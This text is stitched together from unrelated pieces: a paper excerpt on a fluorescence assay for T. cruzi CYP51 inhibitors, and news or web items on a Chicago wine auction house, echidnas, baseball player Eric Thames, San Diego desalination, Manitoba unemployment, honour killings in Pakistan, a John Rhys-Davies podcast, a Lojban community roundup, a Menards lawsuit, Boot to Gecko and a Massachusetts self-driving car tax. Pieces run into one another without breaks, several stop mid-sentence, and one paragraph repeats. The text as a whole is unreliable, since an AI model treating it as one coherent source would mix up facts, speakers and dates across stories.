Inhibition of endogenous substrate lanosterol, eburicol and obtusifoliol has also been used as an in vitro tool using recombinant expressed human CYP51 enzyme [20]. In particular, measuring effect on CYP51 driven metabolism of lanosterol to follicular fluid meiosis activating sterol (FF-MAS) in the presence of test substances [21] is well established (Fig 2). However, FF-MAS detection requires mass spectrometry limiting the number of compounds that can be tested and consequently limiting the value of such an assay for triaging large numbers of phenotypic screening T. cruzi hits toward identifying modes of action away from CYP51.
Metabolism of fluorogenic probe substrate to a product, detectable by fluorescence is well established with recombinantly expressed cytochrome P450 enzymes (CYP’s) for the purpose of assessing possible drug-drug interactions [22]. Measuring CYP inhibition by this method provides a high throughput screening approach, avoiding time consuming analysis by mass spectrometry and minimising use of expensive substrates. The O-dealkylation of Vivid substrate benzyloxymethylocyanocoumarin (BOMCC) to fluorescent product cyanohydroxycoumarin (CHC) is commonly used to evaluate CYP3A4 activity in recombinantly expressed membrane preparations (Fig 2). Valuably, O-dealkylation activity in the presence of recombinantly expressed T. cruzi CYP51 was observed. This has enabled the creation of a fast, high-throughput, 96 and 384 well microtitre method to assess the inhibitory potential of compounds against T. cruzi CYP51, which is described in this paper.With cellars in Wyoming and Vermont filled with thousands of bottles of red Burgundy and Bordeaux, Tom Evans is a collector wine auction houses covet. The former New York Stock Exchange specialist, who spent 40 years on Wall Street, knows markets and he knows wine. And he may be best to explain how an 11-year-old wine company from Chicago, Hart Davis Hart, was the top-grossing auction house in the nation five of the last six years and is on track to retain the title in 2016.
Evans, who started collecting wine in 1970, says none of his other wine sources around the world treats customers better than Hart Davis Hart. “Their vetting is first-rate and their service is very personal,” says Evans, who bids in dozens of major wine auctions each year and compares dealing with some other auction houses with “doing business with the government.”
Nearly a quarter of the $165 million of fine wine that went on the block in the U.S. in 2015 was sold through Hart Davis Hart, according to data collected by Wine Spectator magazine. The 45-employee company in an industrial zone of McKinley Park is on track to sell $48 million of wine via auction this year, a 17 percent jump over 2015. This year's results were bolstered by the high-profile auction of late oil tycoon Aubrey McClendon's wine cellar, which was completed last month and netted $8.4 million—topping expectations.
“Its track record, simply, is phenomenal,” says Peter Meltzer, the wine auction correspondent for Wine Spectator for more than 25 years. He points to the company's best-in-class auction sell-through rates, which stand at 99.26 percent since inception in 2005, according to Hart Davis Hart data, versus 85 to 90 percent for others. “What that means for a seller is you can be confident your wine is going to find a new home,” he says.
Though the company is much younger than the biggest auction houses, Sotheby's and Christie's, it has decades of experience in wine. Its principals, longtime wine experts Paul Hart and Michael Davis, have cultivated relationships with the world's top wine buyers and collectors over the better part of four decades and now have some 70,000 customers in their database. Their wine specialists, the in-the-trenches experts who inspect bottles and sellers' cellars to ensure quality, are among the most-tenured in the business and have been called upon by the FBI as expert witnesses in wine-fraud cases.
Some of its competitors are riding the hot market for fine wine, too. Sotheby's, for example, already has booked worldwide auction sales this year of about $57 million after selling a total of $60 million last year as it picks up market share, says Eli Rodriguez, its wine sales director in New York. A new wave of younger buyers from North and South America is pushing up prices of “older, more mature wines with impeccable provenance and condition,” Rodriguez says.Echidnas (), sometimes known as spiny anteaters,[1] belong to the family Tachyglossidae in the monotreme order of egg-laying mammals. The four extant species, together with the platypus, are the only surviving members of the order Monotremata, and are the only living mammals that lay eggs.[2] The diet of some species consists of ants and termites, but they are not closely related to the true anteaters of the Americas. Echidnas live in Australia and New Guinea.
Echidnas evolved between 20 and 50 million years ago, descending from a platypus-like monotreme.[3] This ancestor was aquatic, but echidnas adapted to life on land.[3]
Etymology [ edit ]
The echidnas are named after Echidna, a creature from Greek mythology who was |
ethic. He was very motivated. But you just didn’t know if he could ever put it together offensively.
“Clearly, he’s made adjustments. You’ve got to give a ton of credit to the Brewers.”
Thames, who bounced from the Blue Jays to the Seattle Mariners to the Baltimore Orioles to the Houston Astros before asking for his release after the 2013 season to play for the NC Dinos, put up cartoonish numbers in the Korean Baseball Organization.
He hit.348 with 124 home runs and 379 RBI in three years, and, at 6-0 and 210 pounds, became Korea’s version of Barry Bonds in 2015 by hitting 47 homers with 140 RBI, stealing 40 bases and winning a Gold Glove and MVP honors.
“I thought the coolest thing in the world was getting more walks than strikeouts,” says Thames, the first 40-40 player in Korean baseball history. “But I tell you, getting on base so much and stealing all of those bases, I was exhausted.”
He was nicknamed “God” by Korean baseball fans and was unable to even leave his apartment without admirers running toward him for pictures and his autograph.
That level of fame may not arrive in the USA. Still, Thames, sitting in front of his locker Monday before his first game at Wrigley Field, has trouble grasping what has happened to his life.
"I figured my days in MLB were over," Eric Thames says of his mindset in the weeks before the Brewers offered him a chance to return to the big leagues. (Photo11: Allan Henry, USA TODAY Sports)
Four years ago, he jumped at the chance to play every day and make $750,000 in Korea, which turned into a three-year stint, earning a total of $3.75 million.
He has bounced back to the circuit that had no use for him, this time with a guaranteed payday in the form of a three-year, $16 million contract from the Brewers, a commitment that still suggests some skepticism that this career renaissance is real.
“I figured my days in MLB were over,” Thames says. “When the season ended, I thought, ‘OK, MLB teams don’t want me, let me go to Japan. Then, my agent (Adam Karon) called me and told me that Milwaukee was interested. I’m like, ‘On a major league contract?’ I think everybody in the world was surprised they were willing to give me that kind of money. I’m still shocked myself.
“I came to Milwaukee before I signed, checked it out, and after an hour I knew it was where I wanted to be. I love the Midwest. I love the hospitality of people. And Milwaukee has great beer.
“I love beer.”
His first two weeks back in the bigs suggest his new fans will always keep a frosty mug at hand for him.
In his Wrigley debut, he lined a double to right field on the second pitch he saw from Cubs starter John Lackey. In the next at-bat, Lackey threw every pitch in his arsenal at him. Thames fouled off four consecutive pitches — an 85-mph cutter, a 92-mph fastball, a 79-mph curveball and an 82-mph changeup — and on the 10th pitch, an 82-mph cutter, homered into a stiff wind to the opposite field, the ball bouncing over the left-field basket.
“You just don’t see that,” Cubs manager Joe Maddon said. “That’s really powerful stuff.”
"Give it to him, man," Cubs manager Joe Maddon says of Eric Thames. (Photo11: John Minchillo, AP)
And for an encore, Maddon brought in lefty Mike Montgomery in the eighth inning, but even after falling behind 0-2, Thames worked the count to 3-2 and lined a single to right field on an 88-mph cutter. He had three hits, two of them homers, in six at-bats off lefties this year, dismissing any notion that Thames should platoon at first base.
“Right now, he’s definitely scary every time he swings the bat,” says Maddon, whose team faced him while he managed the Tampa Bay Rays. “Give it to him, man. He really has made himself into a more dangerous-looking hitter. He’s going to have a really good season.
“That swing is very lethal.”
It’s a hack motivated by survival in Korea, Thames says. He was a free swinger when he left the USA, hacking at 33% of breaking pitches outside the strike zone, according to Inside Edge. If it was within 3 feet of the batter’s box, Thames joked, he was swinging.
In Korea, he learned discipline. Korean pitchers routinely throw no harder than 88 to 91 mph but will make your head spin with an array of split-fingered pitches and breaking balls. If you don’t adjust, your next job might be selling cheeseburgers.
“I had to really bear down in the strike zone and learn how to have plate discipline,” Thames says. “I would have to carry that here because they throw harder and the strike zone is bigger.”
Could he have learned that discipline by maturing and staying in the USA?
“You know how life is under certain circumstances kind of like the butterfly effect,” Thames says. “I feel like if I stayed here, I probably would have gone on the same path that I was on. I was the kind of player that I put too much pressure on myself, tried to do too much. I was too much into my own head.
“When I went over there, I started to read a lot more, study inner peace, meditate, really embrace the mental toughness training. I could focus on the process, and don’t worry about the results.”
The Way of Baseball, a book written by Shawn Green, the former Toronto Blue Jays and Los Angeles Dodgers slugger, provided perspective too, Thames says. He learned to find peace no matter the results.
The change caught the attention of the Brewers and general manager David Stearns, who was the Astros assistant GM when they claimed Thames off waivers in 2013, only to grant his release two months later.
The Brewers never sent a scout to watch Thames in Korea but kept close tabs by watching video, even trying to sign him after the 2015 season before discovering he had another year left on his contract with the Dinos.
“We always kept him on our radar,” Stearns says. “We had a good feel with his approach, his swing adjustments, his consistent strike zone discipline, and combined with his performance, he made us comfortable to make the acquisition.
“One of the benefits of going to Korea was that he saw a ton off off-speed breaking stuff, a ton of junk, and he was able to lay off a lot of those off-speed pitches that break out of the zone.
“He really transformed as a hitter.”
Yet, as much as the Brewers believed in him and took the calculated risk of a three-year deal while the Oakland Athletics and Rays also were in pursuit, no one in his right mind thought Thames would be doing this. Those feelings were only bolstered in spring training after Thames hit.263 with one homer and five extra-base hits.
“I don’t think anyone in baseball is that good to be able to see that type of production he put up in Korea, and think he would show the type of power he’s displayed the first couple of weeks here,” Stearns says.
Thames quickly dispelled the theory that pitchers can throw fastballs past him after going three years without anyone lighting up the radar gun in Korea. Three of his seven homers have come off pitches registering at least 95 mph, including a 96-mph heater last weekend by Cincinnati Reds lefty Wandy Peralta.
“Velocity is just seeing it,” Thames says. “The body adapts. It’s funny, even seeing 88 to 91 (mph) in Korea, with split fingers, they throw so much off-speed that 91 looks like 101.
“I’m not saying it’s easy to hit 95-plus, but it gets easier.”
Who knew Thames’ adjustment period on his return to the States would last just two months?
“I know there was so much uncertainty when he signed,” Braun says, “but when you look at the numbers he put up in Korea, those are challenging for any major leaguer to put up at the high school level, let alone any professional level. So you figured he made some spectacular adjustments.”
Really, Thames says, it was no different from the adjustment of living in Korea, where he leaned on Rosetta Stone to learn the language, then abandoned it in favor of merely reading, studying vocabulary and listening.
“Everybody joked with me like I spoke like a baby,” Thames said. “I couldn’t conjugate. I was like, ‘Eric’s tired. Eric hungry. Eric wants meat.’ But I got through it. I survived.”
Now look at him, all grown up and showing another part of the world he can play this game.
“I think a lot of people thought I’d struggle when I came back over here,” says Thames, who has hit safely in each of his 11 starts, tying a franchise record. “I think everyone’s kind of shocked right now. But I kind of feel just like I did in Korea.
“My confidence feels different. My swing feels different. My mind feels different. It’s nothing like I felt the first time I was in the big leagues.
“It’s crazy how life works out, isn’t it?
“Full circle.”
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GALLERY: Thames: From Korea to the BrewersThe Western drought is getting worse, and California still bears the brunt.
In the town of East Porterville, near Bakersfield, underground wells dried up, leaving nearly 1,000 people without water.
County emergency workers and volunteers are going door to door with bottled drinking water, and now, the desperate search for solutions is turning offshore, CBS News' Ben Tracy reports.
What will be the largest water desalination plant in the Western Hemisphere has been built in San Diego.
The $1 billion plant, being built by a private company, will suck in 100 million gallons of water per day from the Pacific Ocean, strip out the salt using an elaborate filtration system and turn it into 50 million gallons of drinking water, enough for 300,000 San Diego County residents.
"There is no more cheap water available," said Sandy Kerl, who currently runs the San Diego Water Authority.
The company currently imports a majority of its water from drought-ravaged parts of California and the Colorado River Basin. San Diego will buy all of the water the Carlsbad plant will produce starting next year. Water bills will increase about $5 to $7 per month to cover the cost.
"It will represent 7 percent of our total water supply," Kerl said. "It's a significant chunk of water that, in the event of a drought, will be 100 percent reliable for this region."
The only other major desalination plant in the country is in Tampa. Until now, they have been considered too expensive to build and operate in the U.S. But California's unending drought has made it necessary.
And to citizens who may complain that water prices are going to be too high, Kerl says, "if you go and turn on your faucet and no water comes out is that water too expensive? If you don't have it, it's not too expensive."
At least two more desalination plants are in the planning stage along the California coast.Thank you for supporting the journalism that our community needs!
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*Introductory pricing schedule for 12 month: $0.99/month plus tax for first 3 months, $5.99/month for months 4 - 6, $10.99/month for months 7 - 9, $13.99/month for months 10 - 12. Standard All Access Digital rate of $16.99/month begins after first year.
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But even with the increase, Manitoba still had the second lowest unemployment rate in the country after British Columbia's 5.6 per cent.
That boosted the number of unemployed workers in the province to 41,700 from 41,300 in June, which bumped up the provincial unemployment rate to 6.2 per cent from 6.1 per cent a month earlier.
The federal agency said Friday that 500 new workers entered the provincial labour force in July. However, the local economy posted a net gain of only 200 new jobs for the month, after the addition of 3,900 new full-time positions was almost entirely offset by the loss of 3,700 existing part-time jobs.
Manitoba's unemployment rate edged up a notch last month as the number of new workers entering the labour force outpaced the number of new jobs that were created, Statistics Canada data shows.
Hey there, time traveller! This article was published 5/8/2016 (936 days ago), so information in it may no longer be current.
Hey there, time traveller!
This article was published 5/8/2016 (936 days ago), so information in it may no longer be current.
Manitoba's unemployment rate edged up a notch last month as the number of new workers entering the labour force outpaced the number of new jobs that were created, Statistics Canada data shows.
The federal agency said Friday that 500 new workers entered the provincial labour force in July. However, the local economy posted a net gain of only 200 new jobs for the month, after the addition of 3,900 new full-time positions was almost entirely offset by the loss of 3,700 existing part-time jobs.
That boosted the number of unemployed workers in the province to 41,700 from 41,300 in June, which bumped up the provincial unemployment rate to 6.2 per cent from 6.1 per cent a month earlier.
But even with the increase, Manitoba still had the second lowest unemployment rate in the country after British Columbia's 5.6 per cent.
Nationally, the Canadian labour market lost 31,200 net jobs last month as the country suffered its biggest one-month drop in full-time work in nearly five years, Statistics Canada said.
The agency's latest labour force survey says the market shed 71,400 full-time positions in July — a number partly offset by an increase of 40,200 in less-desirable, part-time jobs.
The report says full-time work in Canada hasn't suffered a one-month blow this big since losing 80,300 positions in October 2011.
The changes helped push the national unemployment rate in July up to 6.9 per cent, from 6.8 per cent the previous month.
The survey also says paid employee positions fell by 28,400 last month. Self-employed work, which is often considered more precarious, declined by 2,700.
A consensus of economists had predicted the country to add 10,000 jobs and for the unemployment rate to move up to 6.9 per cent, according to Thomson Reuters.
The survey said the service sectors lost 26,900 jobs last month and goods-producing industries dropped by 4,300 positions.
Ontario suffered the biggest job losses of any province in July, as its labour market decreased by 36,100 net positions. The data said 18,900 of those jobs were full time.
British Columbia added 12,100 net new positions last month, but the province still lost 21,800 full-time jobs.
Overall, the Canadian labour market had 0.4 per cent more jobs than 12 months earlier. Over that same period, however, the full-time work dropped 0.2 per cent while part-time jobs climbed 3.1 per cent.
The youth employment category — covering workers aged 15 to 24 years old — lost 28,400 jobs in July. The change pushed up the jobless rate for youth to 13.3 per cent, from 13 per cent the previous month.
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Statistics Canada also released fresh figures Friday that showed the country's merchandise trade deficit with the world grew to a record $3.6 billion in June.
The numbers show that Canadian exports dropped 4.7 per cent in the second quarter to $124 billion, the largest drop since the second quarter of 2009 —during the Great Recession.
As a result, Canada's quarterly trade deficit expanded to a record $10.7 billion in the second quarter, up from $6.4 billion in the first quarter.
— Canadian Press, with files by Murray McNeillIsrar Ullah Zehri, who represents Baluchistan province, told a stunned parliament that northwestern tribesman had done nothing wrong in first shooting the women and then dumping them in a ditch.
"These are centuries-old traditions, and I will continue to defend them," he said.
"Only those who indulge in immoral acts should be afraid."
The women, three of whom were teenagers and whose "crime" was that they wished to choose who to marry, were still breathing as mud and stones were shovelled over their bodies, according to Human Rights Watch.
The three girls, thought to be aged between 16 and 18, were kidnapped by a group of men from their Umrani tribe and murdered in Baba Kot, a remote village in Jafferabad district.
According to some reports, Baluchistan government vehicles were used to abduct the girls, and the killing was overseen by a tribal chief who is the brother of a provincial minister from the ruling Pakistan People's Party.
Some accounts said that two older relatives had tried to intervene, but they too were shot and buried alive with the teenagers.
More than six weeks after the deaths no one has been arrested and human rights groups have accused local authorities of trying to cover up the executions.
Mr Zehri told parliament that a fuss should not be made over the killings, however several politicians stood up in protest, describing the so-called honour killings as "barbaric".
Human Rights Watch described the murders as a "heinous criminal offence".
The Pakistani Daily News condemned the killings and called for those responsible to be brought to justice.
"Surely the government should be seeking the murderers, not protect (them) through some dark conspiracy of silence. The fact the act was 'kept quiet' means the government sympathises with such doings," an editorial said."We have lost our moral compass completely, and, unless we find it, we’re going to lose our civilization," warned the 'Lord of the Rings' actor on Adam Carolla's podcast.
Perhaps John Rhys-Davies was channeling Gimli, his character from The Lord of the Rings' trilogy, because the Welsh actor delivered a soliloquy late Monday about good and evil and even warned of the end of days courtesy of radical Islamic terrorism and political correctness.
“There is an extraordinary silence in the West,” said Rhys-Davies on Adam Carolla’s podcast posted Monday night. “Basically, Christianity in the Middle East and in Africa is being wiped out — I mean not just ideologically but physically, and people are being enslaved and killed because they are Christians. And your country and my country are doing nothing about it.”
Carolla elicited laughter from Rhys-Davies when he asked him when it became fashionable to refrain from judging outsiders.
“This notion that we’ve evolved into a species that’s incapable of judging other groups and what they are doing, especially when it is beheading people or setting people on fire or throwing acid in the face of schoolgirls — I like that kind of judging. It’s evolved!” said Carolla.
Carolla joked that if Bill Maher had a show during World War II, Americans would not have fought the Nazis because the comedian's guests would have been "screaming" about tolerance.
“This is a unique age. We don’t want to be judgmental,” said Rhys-Davies, who's also known for his role in the Indiana Jones franchise. “Every other age that has come before us has believed exactly the opposite. I mean, T.S. Eliot referred to 'the common pursuit of true judgment.' Yes. That’s what it’s about. Getting our judgments right.”
Rhys-Davies was on Carolla’s podcast — which has been recognized by Guinness World Records as the world’s most popular podcast — to promote the DVD release of Return to the Hiding Place, a film about Jews in Holland during World War II that was directed and written by Peter C. Spencer, also a guest on Monday night's podcast.
"It’s an age where politicians don’t actually say what they believe,” said Rhys-Davies. “They are afraid of being judged as being partisan. Heaven forbid that we should criticize people who, after all, share a different value system. 'But it’s all relevant. It’s all equally relative. We’re all the same. And God and the devil, they’re the same, aren’t they, really? Right and wrong? It’s really just two faces of the same coin,' " he said, mocking what he sees as politically correct doctrine.
"We have lost our moral compass completely, and, unless we find it, we’re going to lose our civilization. I think we’re going to lose Western European Christian civilization, anyway," said Rhys-Davies.
Listen to the podcast here. The discussion of politics, good and evil and Islamic terror begins around the 14-minute mark.
Email: Paul.Bond@THR.comThis is the first of a series of monthly articles. The Monthly Lojban Community Roundup is a monthly roundup of community news and subjects that were discussed on IRC, the mailing list, reddit, Facebook and Twitter.
January 2017 started with, well, New Year’s Eve. Therefore, I will start out by showing some of the different ways people wished each other a good new year:
„za’a re no pa ze moi.i.a’o ro do ba lifri tu’a lo xamgu nanca“
„i ko’oi lo cnino nanca ba xamgu“
„di’ai cai doi lo jbopre.i doi la.lojban. ko renvi je cu banro“
„.i doi lo prenu.i gleki je cnino nanca“
„cnino detna’a di’ai doi ro do!“
„doi prenu.i ko gleki lo nu lo nanca cu cnino.i di’ai“
What is your favorite way of wishing someone a good time, a good new year, or a happy birthday? Let me know in the comments!
Right as the new year arrived, Lojban rap artist Djemynai sent out two tweets hinting at their plans for 2017:
With 2017 right around the corner, now might be the right time to inform everyone that I have decided to change my name. #lojban — Djemynai (@Djemynai) December 31, 2016
We’re still waiting for further updates, but the prospect of a new album is exciting, and I think I’m not the only one who is curious about the new name.
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Most people are probably familiar with sutysisku, which, next to vlasisku, is one of the most popular online dictionaries. This month, la gleki published a list which lists words according to the frequency with which they were looked up. Quite an interesting idea. As la gleki put it: “Why is this important? You can see what people were trying to find, which concepts are still absent in the dictionary and thus might need some work so that new users finally find highly needed words.”
You are probably wondering which words were the most common search queries according to the list. The most common gismu were cusku, tavla, klama, zukte and gasnu. Not surprising. The most commonly searched cmavo were ca,.i, ba, la, da, cu, ka, se, ta, ma, ci and lo. And if we can believe the list, the most frequently searched for English term was this thing:
Toast.
I don’t know who entered toast this often, but at least it gave me something to write about. (inb4 toast memes?)
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On Facebook, Superjoël la Pegazus asked: “What would be needed now to move Lojban forward?” and received a lot of different responses. It was interesting to see what people thought could or should be done to help Lojban get bigger and better. Here’s a summary (for the whole discussion, follow the link above):
More and better learning material, beginner-friendly courses
Artistic work that promotes Lojban, as Star Trek did for Klingon
An updated CLL in a more modern style
Books, comics, videos (not only tutorials, but also vlogs), live streams.
All of these things would be nice to have. The more people help create content, the more people will get interested in the language, and the more people learn the language, the more people there will be who can help create even more content. Someone just has to begin! Let us be grateful for all the things we already have. Let us say thank you to anyone who wrote or contributed to learning materials, who made movies or songs, and also simply to anyone who has been studying the language. Keep at it, you are the future of Lojban.
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Btw, if you are interested in knowing what words recently got added to jbovlaste, you can use its Recent Changes page. Here are all the words and definitions that were added in the last 30 days.
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On Facebook, la gleki posted the following image:
The word for the knife-spoon is missing, for some reason. Anyway, I feel like this sort of thing is the perfect opportunity to create actual Lojban portmanteaus, rather than lujvo. The difference is that lujvo are limited to whatever rafsi their components have, and those rafsi aren’t always the most suitable candidates for making good-sounding portmanteaus. (In general, I am known to advocate portmanteau brivla and ignoring whether they are lujvo or zi’evla. A popular example that has caught on is pensku (based on pensi + cusku), which the traditional view would insist should be understood as penmycusku, because -pen- is a rafsi of penmi. More and more of such words are starting to show up. People are starting to release their fear of creative word invention.)
So let’s see what we can do here. The nice (but also difficult) thing with this freedom is that there are usually multiple possible ways a word can turn out, and we have to (or rather, are allowed to) choose, based on our subjective preferences. This makes word creation more personal, and more artistic. What are the options for the cutlery combinations?
dakfu + forca: dakforca, dakfo’a, forcfu, dakca, dorca, …
dakfu + smuci: daksmu, dakfuci, smukfu, smuda’u, …
forca + smuci: forcuci, forsmu, *smurca, …
dakfu + forca + smuci: daksmuca, fordaci, smuforfu, …
Which forms sound best to you? What can you come up with?
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On IRC, adlai asked “Is there a bot translating naturalang to Lojban?”.
This question is probably of interest to a lot of people, so I’ll list the things that currently exist. We’ve had simple glossers for a long time, but it was only relatively recently (December 2015) that a statistical machine translator appeared: zmifanva, by Masato Hagiwara. Unlike a glosser, zmifanva tries “to give translation results that are as natural as possible”. It learns from Lojban-English sentence pairs on Tatoeba. The more sentence pairs are added to Tatoeba, and the higher their quality, the better zmifanva will become, so if you like this project, consider contributing to Lojban on Tatoeba.
As for the glossers, there are three that can be mentioned. The oldest and still the most sophisticated is the one that comes with jbofihe. There is an online version, which you can test. Its main drawback is the fact that it chokes on grammar that’s newer than 15 years, but the glossing isn’t bad. For example, it renders ro da zo’u mi prami da gi’e xebni ro nu da zukte lo’e xlali as:
A newer tool is this Lojban parser with an included glosser. It uses a much newer grammar (Ilmen‘s camxes-beta PEG) and has several output options. The Boxes tab (selectable after you hit Parse) is especially popular. It combines visual syntax with glossing and looks like this:
If you’re on IRC (#lojban, #ckule or #jbosnu), there is also a simple glosser implemented in mensi, the well-known allrounder bot. Type “gloss: “ and mensi will give a word by word translation:
And those are the tools we currently have.
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Over on Discord, Jace ross asked: “hey new here anyone know any good learning vids”
If you speak Japanese, then you’re in luck, because ko lojbo iu by guskant is a full series of audio lessons. You can find the Youtube playlist here. The main page is here, which has links to pure audio files, as well as text versions of the lessons.
There is also this live stream by kribacr, which offers a slow introduction into the very basics of the language:
And last but not least, a well-made introduction to the Lojban bridi, by Dustin Lacewell:
If you are looking for listening-reading practice, search Youtube for Lojban corpus readings. Otherwise, just type in Lojban and watch everything there is, as I did.
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On IRC, solpahi asked “Is there really no word for teapot?”
Wait, that’s me.
Is there really no word for teapot?!
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la uakci published a short speech on reddit, in which they discuss the term “Official Lojban”. Starting from the point of view that there are many Lojbans, many dialects, all of which deserve to be called Lojban, la uakci argues that by calling one specific version “Official Lojban” all other versions get degraded and their users feel like they are using an inferior, less real, language. Instead, la uakci suggests we use the term “Base Lojban” or “Fundamental Lojban”.
I commented that there is a difference between Base Lojban and that which one could consider the common core that all Lojbans share. The latter is significantly smaller than Base Lojban, because many dialects come with replacements both of cmavo for other cmavo and with changes to syntax or morphology.
In response to this, la lalxu suggested the term «krasi lojbo» / “Original Lojban”, and la uakci agreed.
What do you think? Share your views in the comments.
(•_•)
( •_•)>⌐■-■
(⌐■_■)
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This month also saw a few new translations, which I will introduce to you below.
Make sure to check ’em all out.
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The types of conversations Lojbanists have…
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And lastly, as Twitter didn’t offer much in terms of subjects, I’ll just list my three favorite tweets:
I like how twitter's guess for what language that is differs every time #lojban pic.twitter.com/GPAFlgcBVN — the creative nothing (@bitsfair) January 9, 2017
I think lojban is a bad language and people who like it are bad. — a man online (@opinions_good) January 16, 2017
Q: What's purple, sweet, and an argument of a predicate?
A: A sumti raisin.#lojban — ☔ la lalxu ☔ (@la_lalxu) December 22, 2016
Okay, the last one is technically from December, but it’s such a nice pun it had to get featured.
And that’s it for January. Now let’s see what February has in store for us. The more the people of Lojbanistan do, the more there will be for me to report. Take this as an incentive to contribute, to discuss, to learn, to ask questions. An incentive to help Lojban grow.
If you like this format, let me know!
AdvertisementsBAY CITY, MI -- The Michigan Supreme Court denied Menards' appeal in a lawsuit that stems from a woman's death after she was hit by a car in the parking lot of the retailer's Bay County location six years ago.
A decision was made by the Michigan Supreme Court on Friday, June 30, according to court filings.
Menards was sued after a pickup truck struck Virginia Rawluszki, a shopper who was leaving its location in Bay County's Monitor Township store in 2011, according to a summary of the case. Rawluszki suffered a serious brain injury and later died from it, the summary states.
Rawluszki was walking on the yellow-striped crosswalk alongside the store, the summary states. The driver was "carelessly cutting across a parking space" and did not see Rawluszki as he made a left-hand turn.
Rawluszki's daughter, which court filings show is Denise Fowler, sued Menards for not putting a stop sign at the crosswalk. A trial court denied Menards' motion for summary disposition, according to records. The issue went to the Court of Appeals, where it was also denied. In November of that year, the Michigan Supreme Court remanded the case to the Court of Appeals.
Fowler said Menards "had a duty to take extra measures" to install signage or traffic stops to warn of crossing pedestrians, according to an unpublished opinion. Menards argued that parking lot dangers are open and obvious, the unpublished opinion states.
The appeals court concluded the trial court reached the right result and found "there is a duty on the part of the landowner to install crosswalks in a reasonable and prudent manner," according to the unpublished opinion.
Friday's decision by the Michigan Supreme Court lets the appeals court's decision stand.
Philip L. Ellison, the attorney representing Rawluszki's family in the higher courts, said the next steps are to get the case heard by a jury in a Bay County court. He said the process could take a couple months.
Ellison said he is "very pleased" with the Michigan Supreme Court's decision. He said it gives his client the opportunity to make their case to a jury.
An unusual aspect about this case is that it went up to the Michigan Supreme Court before a jury had a decision, Ellison said.
Ellison said the jury will decide if Rawluszki's death is attributed to the crosswalk and a lack of signage at the Menards store. The attorney questioned why big box stores allows cars to drive on crosswalks close to store entrances and exits.
"It doesn't make any sense to me," Ellison said.
Ellison said the driver of the pickup has settled the case through an insurance company. Now it's up to a jury to see if Menards has some liability and responsibility, he said.
"I think once they hear exactly what happened within these circumstances, I think the jury's going to be surprised by how free-wheeling and lack of control there is in front of these stories where a lot of busy traffic is going by," Ellison said.
Ellison added pedestrians have a right-away on a public road, not a parking lot.
"It's imperative to the store owners that cars and people know how to safely interact with each other in the parking lots and in crosswalks," he said.
Bay City attorney Alan R. Sullivan, who is representing Menards, declined to comment due to the pending case.Jeff Keppinger greatly improved his stock in 2012, going from a non-tender a year ago to a three-year, $12MM contract that the White Sox announced today. A break in Keppinger's right fibula suffered last month didn't deter his suitors, which also included the Yankees, Marlins, Diamondbacks, and Cubs.
Keppinger, who is represented by CSE, scored the first multiyear deal of his career and a larger guarantee than Maicer Izturis received from Toronto. He will earn $3.5MM in 2013, $4MM in 2014 and $4.5MM in 2015 under the terms of the three-year contract.
Keppinger, 32, is a career.288/.337/.396 hitter, and is coming off an excellent season with the Rays in which he posted an.806 OPS in |
Web is going to do amazingly well. we don't look at that at all competitively," he said.
Samsung just handed out the first Tizen developer devices at a conference in San Francisco, according to Engadget. While Boot to Gecko is purely a Mozilla project, Tizen is the descendant of the Linux Foundation's LiMo, Intel's MeeGo and Nokia's Maemo.
The key is that as an idealistic nonprofit, Mozilla isn't in the mobile game to dominate. The foundation just wants to advance a common, open set of Web standards. If somebody else does that - such as Tizen - then Mozilla's all for it, Simpson said. If Tizen and Mozilla agree on standards, Mozilla can help Tizen, too.
"The way you get things standardized on the Web, if you're familiar with the W3C you can actually move the process pretty quickly. Since we've been doing that for 10 or 12 years, we think we can help ourselves and Tizen through this and get these APIs standardized pretty quickly," Simpson said.
And since Mozilla isn't in this game for the dollars, OEMs may find Boot to Gecko a friendlier Web-based phone OS than Tizen, Simpson said.
"Samsung is highly invested in Tizen, other OEMs are not necessarily. Hopefully we will end up with multiple competitive web-centric OSes. That's the way competition becomes healthy," Simpson said.
A Web-Centric Phone
As PCMag columnist Michael Miller saw at Mobile World Congress, Boot to Gecko replaces all the user-facing parts of a mobile OS with a browser. While it's running on the same Linux kernel as Android, all the apps are HTML5 rendered through Firefox's Gecko engine - even core apps like the dialer.
The OS isn't ready for launch yet. While Simpson said it'll run fine on devices with 600-MHz processors and 256MB of RAM, I found the current early build to be sluggish on a dual-core Samsung Galaxy S II phone. BtG won't have the years-long development process that we saw with mobile Firefox, though: Simpson said it'll show up on a phone sold in Brazil by Telefonica in 2013.
Boot to Gecko is designed primarily for first-time smartphone users, Simpson said. The main menu is a grid of nine large icons, with the usual built-in smartphone apps represented. Of course, all the apps are really just HTML5 packages, written in HTML, JavaScript, with WebGL for games. The OS will come with an app store, but BtG will be able to run any HTML5 app designed to open Web standards, Simpson said. That makes it a truly free alternative to Google's Android.
For more from CTIA, check out the photoblog below.
For the top stories in tech, follow us on Twitter at @PCMag.Thomson Reuters Massachusetts lawmakers are proposing a tax on self-driving vehicles they say could prevent the rise of "zombie cars."
Introduced in late January, the twin bills would tax self-driving cars per mile and allow large municipalities to ban them altogether, the Northeast-focused news website Metro reported. The bill set is being sponsored by state Sens. Tricia Farley-Bouvier and Jason Lewis, both Democrats.
The proposal is meant to curtail the rise of "zombie cars," or driverless vehicles that drive in circles waiting for a customer instead of parking, Lewis told The Boston Globe. The bill set asks for a per-mile fee of at least $0.025.
"We could have situations where people with autonomous vehicles go somewhere and because there is either very little parking or because they don't want to pay for parking, they could just have their cars just driving around and clogging up the roads," Lewis recently told Metro, which covers Boston, New York, and Philadelphia.
The bill also requires self-driving cars to be marked as autonomous vehicles, be zero-emission vehicles if they weigh less than 8,500 pounds, store data required by the Massachusetts Registry of Motor Vehicles, and have a panic button.
Massachusetts state law does not address the testing of self-driving cars. The state is allowing NuTonomy, a Cambridge-based startup, to test its self-driving cars.
The Self-Driving Coalition for Safer Streets, which includes companies like Ford and Google, has called for the federal government to release regulations dictating the use of self-driving vehicles to avoid a state-by-state approach in which policies could vary greatly.
The National Highway Traffic Safety Administration released guidelines for self-driving vehicles in September that called for states to develop uniform policies for self-driving cars, but the guidelines don't set any kind of legal framework. Michigan was the first state to establish regulations for the testing, use, and eventual sale of self-driving cars in December.ATLANTA (AP) - Ohio's governor says Americans shouldn't focus so much on the highest-level people when there are ways to tackle many societal problems at the local and individual levels.
Republican Gov. John Kasich spoke Monday in Atlanta at The King Center on the holiday honoring its namesake, Martin Luther King Jr.
Kasich says King got the attention of people in power through a "bottom-up" approach worth emulating. Kasich says efforts such as addressing drug use and improving education need people committed at the community level.
He also says it's important to keep an open mind.
